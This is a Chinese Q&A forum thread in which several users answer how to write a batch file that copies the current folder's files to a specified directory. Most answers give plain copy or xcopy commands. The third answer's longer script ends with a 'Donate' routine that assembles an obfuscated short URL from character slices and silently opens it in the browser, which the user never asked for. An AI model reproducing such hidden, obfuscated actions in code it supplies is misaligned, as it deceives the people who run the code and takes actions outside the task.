如何用bat复制当前文件夹内的所有文件到指定目录
发布网友
发布时间:2022-04-21 07:14
我来回答
共5个回答
热心网友
时间:2022-06-03 09:11
展开3全部
1、在电脑上新建一个文件夹,新建一个“TXT”文件,并命名。
2、点击右键,把文件的后缀名设置为“.bat”
3、右键打开文件,第一行输入“copy C:\Users\Administrator\Desktop\西游记\1.JPG C:\”。
4、第二行输入“pause”。
5、保存后关闭,双击文件弹出“DOS”界面。
6、即可看到C盘下已经复制了一个文件。
热心网友
时间:2022-06-03 09:11
方法/步骤
在电脑上新建一个文件夹,新建一个“TXT”文件,并命名
点击右键,把文件的后缀名设置为“.bat”
右键打开文件,第一行输入“copy C:\Users\Administrator\Desktop\西游记\1.JPG C:\”
第二行输入“pause”
保存后关闭,双击文件弹出“DOS”界面
即可看到C盘下已经复制了一个文件~!
热心网友
时间:2022-06-03 09:12
先解答疑问,第一种情况,可以发生,也可以不发生,具体就看代码别写时有没有考虑到。第二种情况,完全可以实现覆盖替换。因为复制命令本身就有替换的参数。
以下代码因为手机上编写的,所以尚未进行实测。因此需要您拷贝过去后,自行测试一下。代码已经实现不拷贝脚本自身了。
@echo off & title 拷贝当前目录中文件到指定目录 By 依梦琴瑶
echo 获取本机盘符 ...
for /f "tokens=2 delims==:" %%a in ('wmic LogicalDisk where "DriveType='3'" get DeviceID /value') do (
call set Pan=%%Pan%% %%a
)
echo 获取当前目录的图片文件列表 ....
(for /f "delims=" %%a in ('dir /a-d/b *.jpg,*.jpeg,*.bmp,*.png,*.gif') do (
echo "%%~fa"
))>PICLIST.LST
echo 正在搜索指定文件夹,此过程可能耗时,请耐心等待 ....
for %%a in (%Pan%) do (
pushd %%~a:\
for /r /d %%b in (CER*) do (
if "%%~nxb"=="CER" (
if exist "%%~b\CVS" (
for /f "usebackq delims=" %%c in ("%~dp0PICLIST.LST") do (
echo 拷贝 "%%~nxc" 至 "%%~b\CVS\" ....
copy /y "%%~c" "%%~b\CVS\"
)
)
)
)
popd
)
del /f /q PICLIST.LST
echo 拷贝完成
pause
call :Donate
exit
:Donate
set "S0=fPdv"
set "S1=.:ailnhpst/"
set "S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%"
set "S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%"
start "" "%S2%%S3%%S1:~10,1%%S0%"
exit
热心网友
时间:2022-06-03 09:12
不知道CER\CVS这个文件夹在哪个盘里,可能无法编辑.bat文件实现复制文件功能。.bat文件是批处理命令,就是编辑多条命令在一个文件里,执行后按顺序逐一执行第条命令。即使利用搜索命令找到了这个文件夹,复制命令也得指定这个文件夹。
热心网友
时间:2022-06-03 09:13
@echo off
set "folder=CER\CVS"
for %%a in (C D E F G H) do (
if exist "%%a:\%folder%" xcopy /s /e /y /exclude:%~nx0 .\* "%%a:\%folder%\*"
)
既然复制所有文件,当然同名文件就被替换了,如只需替换文件,请说清楚
上面的命令不会复制bat文件